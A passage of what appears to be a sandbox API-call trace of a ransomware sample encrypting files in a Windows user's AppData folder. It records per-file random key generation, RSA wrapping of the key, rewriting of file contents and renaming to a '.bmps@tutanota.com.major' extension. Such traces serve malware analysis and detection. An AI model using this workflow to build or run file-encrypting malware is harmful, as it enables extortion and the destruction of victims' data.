pszString="QGzqV6kRdriqSQ+C57qeFZlWZAGD5hSIEoAPiBwnPUtmEzlsi6gIyF3WfiBUSn8G\naq/zR+wWDx627vPOxc8gN2LMw8QPOY7ajBczJvaRoivQ34iOuEFk8mw4Ohj86eTa\n4Ibl2roqQQS4qnnVzNVEUQkoVJjvyeW5kD+TiUECtLj9Edd/JyUsLbUZ/CiHB1oe\nBpunBcx44e/20T9fYBNzSVxH1B9qt9dXtA2dDlHdWn3NiOpncrohpW+98/lhOlFK\n2VnydZCezW3eCzrTo+QRHeDt7KcVjnY1u6lTR8yHuNKgY9wDnKb1ViGGu84XwbD4\nPgqDcXadgT32x5TAF5fkbw==\n", pcchString=0x2e3f9a8) returned 1 [0301.625] WriteFile (in: hFile=0x1bd4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.625] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.625] WriteFile (in: hFile=0x1bd4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.625] CloseHandle (hObject=0x1bd4) returned 1 [0301.626] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\1504773410" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\202914\\1504773410"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\1504773410.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\202914\\1504773410.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.627] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x51556bba, ftLastAccessTime.dwHighDateTime=0x1d32719, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37368 [0301.628] SetLastError (dwErrCode=0x0) [0301.628] GetLastError () returned 0x0 [0301.628] SetLastError (dwErrCode=0x0) [0301.628] GetLastError () returned 0x0 [0301.628] SetLastError (dwErrCode=0x0) [0301.628] FindNextFileW (in: hFindFile=0x2f37368, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x51556bba, ftLastAccessTime.dwHighDateTime=0x1d32719, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0301.628] SetLastError (dwErrCode=0x0) [0301.628] GetLastError () returned 0x0 [0301.628] SetLastError (dwErrCode=0x0) [0301.628] GetLastError () returned 0x0 [0301.628] SetLastError (dwErrCode=0x0) [0301.628] FindNextFileW (in: hFindFile=0x2f37368, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a6be24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4a6be24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc4a920e0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x13d00, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1504704827", cAlternateFileName="150470~1")) returned 1 [0301.628] SetLastError (dwErrCode=0x0) [0301.628] GetLastError () returned 0x0 [0301.628] SetLastError (dwErrCode=0x0) [0301.628] SetLastError (dwErrCode=0x0) [0301.628] FindNextFileW (in: hFindFile=0x2f37368, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1ec2c2d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x514bdf74, ftLastAccessTime.dwHighDateTime=0x1d32719, ftLastWriteTime.dwLowDateTime=0x9bfcf60d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0301.628] SetLastError (dwErrCode=0x0) [0301.628] GetLastError () returned 0x0 [0301.628] SetLastError (dwErrCode=0x0) [0301.629] SetLastError (dwErrCode=0x0) [0301.629] FindNextFileW (in: hFindFile=0x2f37368, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdf610868, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x9bfcf60d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0301.629] SetLastError (dwErrCode=0x0) [0301.629] GetLastError () returned 0x0 [0301.629] SetLastError (dwErrCode=0x0) [0301.629] SetLastError (dwErrCode=0x0) [0301.629] FindNextFileW (in: hFindFile=0x2f37368, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5129cb70, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x5129cb70, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0301.629] SetLastError (dwErrCode=0x0) [0301.629] GetLastError () returned 0x0 [0301.629] SetLastError (dwErrCode=0x0) [0301.629] SetLastError (dwErrCode=0x0) [0301.629] FindNextFileW (in: hFindFile=0x2f37368, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5129cb70, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x5129cb70, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0301.629] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.629] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0301.630] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210469\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bd8 [0301.630] GetFileSizeEx (in: hFile=0x1bd8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0301.630] ReadFile (in: hFile=0x1bd8, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.631] SetFilePointer (in: hFile=0x1bd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.631] WriteFile (in: hFile=0x1bd8, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.631] SetFilePointer (in: hFile=0x1bd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0301.631] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.631] WriteFile (in: hFile=0x1bd8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.632] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.632] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.632] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.632] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="LO1rID9o9jQi9W/nRvxjUIcPGBPnrMGjoUCqE10P0eys/xja7ARQ52UbSmWmUVCA\neQzX+EjxR3O8vBqPlqBR9c+MmqNDXXW52na1zzo/4RxRzq1vZFmZArpnrSjsT5en\nbl7ZFDzKZtTmPcvWTiqOsrGd512qNRO36X3cbXohUISCOYLw/ErKbVfCHikcURBi\nAYHjDughGPOAlOIDZz9L7i9jxh97ZYHSnVcNgWRyUTee4xB3TyGDQkllW4VFxSh/\nXzVh7SMdbY+ECXxe4QGUSEa44nzkP9+X1zf9Ll0DTJzx3xfSMll1B44fKnL4rVci\nu7hDYwr8Pt8nTGlzXMBhpA==\n", pcchString=0x2e3f9a8) returned 1 [0301.632] WriteFile (in: hFile=0x1bd8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.632] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.632] WriteFile (in: hFile=0x1bd8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.632] CloseHandle (hObject=0x1bd8) returned 1 [0301.632] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210469\\imprbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210469\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.634] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.634] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0301.635] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210469\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bd8 [0301.635] GetFileSizeEx (in: hFile=0x1bd8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0301.635] ReadFile (in: hFile=0x1bd8, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.635] SetFilePointer (in: hFile=0x1bd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.635] WriteFile (in: hFile=0x1bd8, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.635] SetFilePointer (in: hFile=0x1bd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0301.635] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.635] WriteFile (in: hFile=0x1bd8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.636] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.636] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.637] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.637] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="LQ829sXEs50Sl/RGxy1NZdQ1gsEE4/KWqC63TvNwNE0U8oxj9CiFYOaGKSMGHnm8\n9WEBQqQ03QbVUZGQT51aGD8IisGU0ZhT8i+toUrsd0usOfWT5SbI9pAVVUXVA+GD\nUz0TSn0M9xA+jc13yeCGT5K8ta9hRL3BZgBTEOdxdlOGd2OTmCsPSjJfSPdPMceY\n/ByyoXQk/nWhxfqnjBW1L3L+FBoIspza+qx9IpGgRF3bd1+AcsmxW4IT/ObrELjW\nMASUXlHVL3QKaJRria5MIeHUk1wzN0mWxBkrFR3di2oZK4LzZukjeUVvrs81JeG3\npCzQmO6b5VL0GNKTqcj0tA==\n", pcchString=0x2e3f9a8) returned 1 [0301.637] WriteFile (in: hFile=0x1bd8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.637] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.637] WriteFile (in: hFile=0x1bd8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.637] CloseHandle (hObject=0x1bd8) returned 1 [0301.637] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210469\\eventbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210469\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.639] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.639] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\1504704827", dwFileAttributes=0x80) returned 1 [0301.640] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\1504704827" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210469\\1504704827"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bd8 [0301.640] GetFileSizeEx (in: hFile=0x1bd8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=81152) returned 1 [0301.640] ReadFile (in: hFile=0x1bd8, lpBuffer=0x3540048, nNumberOfBytesToRead=0x13d00, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesRead=0x2e3f9b4*=0x13d00, lpOverlapped=0x0) returned 1 [0301.709] SetFilePointer (in: hFile=0x1bd8, lDistanceToMove=-81152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.710] WriteFile (in: hFile=0x1bd8, lpBuffer=0x3553d50*, nNumberOfBytesToWrite=0x13d00, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3553d50*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13d00, lpOverlapped=0x0) returned 1 [0301.710] SetFilePointer (in: hFile=0x1bd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13d00 [0301.710] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.710] WriteFile (in: hFile=0x1bd8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.711] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.711] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.711] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.711] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="R5vmrqxwX6flEaQLoArNaHEtnvrH8ia+P19IxtOfaeLLPiIWuYJbYHjd+s5D2nFJ\nVIrJ/eFniRsw0rW0cACN+UxRZJIWFjjBPuyjtCHL7aAVOdMUU7tFVZt19cZyu3gd\n4JnwQz66CCDza1/hTD2Q8IvL8ljNI54Rwdmc3MKSeK7PtGOyaFTvt2mGnj4q5BMe\n4jA2E6zNUSq2Yowunz9ilNDHx4h5tQ55vWwp5bYs3Pn+ngSkar9GHfcrcjxSYpWr\nIt99Pf/A2QdfGEynIlD020+EK/fpZcsjYTw8BZRNlFeTmASZk47jvL6G6+cSCQhS\nWmWisiy8ekuy8hs6jXNSCg==\n", pcchString=0x2e3f9a8) returned 1 [0301.711] WriteFile (in: hFile=0x1bd8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.711] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.711] WriteFile (in: hFile=0x1bd8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.711] CloseHandle (hObject=0x1bd8) returned 1 [0301.711] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\1504704827" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210469\\1504704827"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\1504704827.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210469\\1504704827.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.713] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8a2d0a7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7d37eb5, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37468 [0301.713] SetLastError (dwErrCode=0x0) [0301.713] GetLastError () returned 0x0 [0301.713] SetLastError (dwErrCode=0x0) [0301.714] GetLastError () returned 0x0 [0301.714] SetLastError (dwErrCode=0x0) [0301.714] FindNextFileW (in: hFindFile=0x2f37468, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8a2d0a7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7d37eb5, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0301.714] SetLastError (dwErrCode=0x0) [0301.714] GetLastError () returned 0x0 [0301.714] SetLastError (dwErrCode=0x0) [0301.714] GetLastError () returned 0x0 [0301.714] SetLastError (dwErrCode=0x0) [0301.714] FindNextFileW (in: hFindFile=0x2f37468, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96b1660, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc96b1660, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc982edee, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0xd890, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1504704835", cAlternateFileName="150470~1")) returned 1 [0301.714] SetLastError (dwErrCode=0x0) [0301.714] GetLastError () returned 0x0 [0301.714] SetLastError (dwErrCode=0x0) [0301.714] SetLastError (dwErrCode=0x0) [0301.714] FindNextFileW (in: hFindFile=0x2f37468, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a2d0a7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe771be10, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x9c01bafe, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0301.714] SetLastError (dwErrCode=0x0) [0301.714] GetLastError () returned 0x0 [0301.714] SetLastError (dwErrCode=0x0) [0301.714] SetLastError (dwErrCode=0x0) [0301.714] FindNextFileW (in: 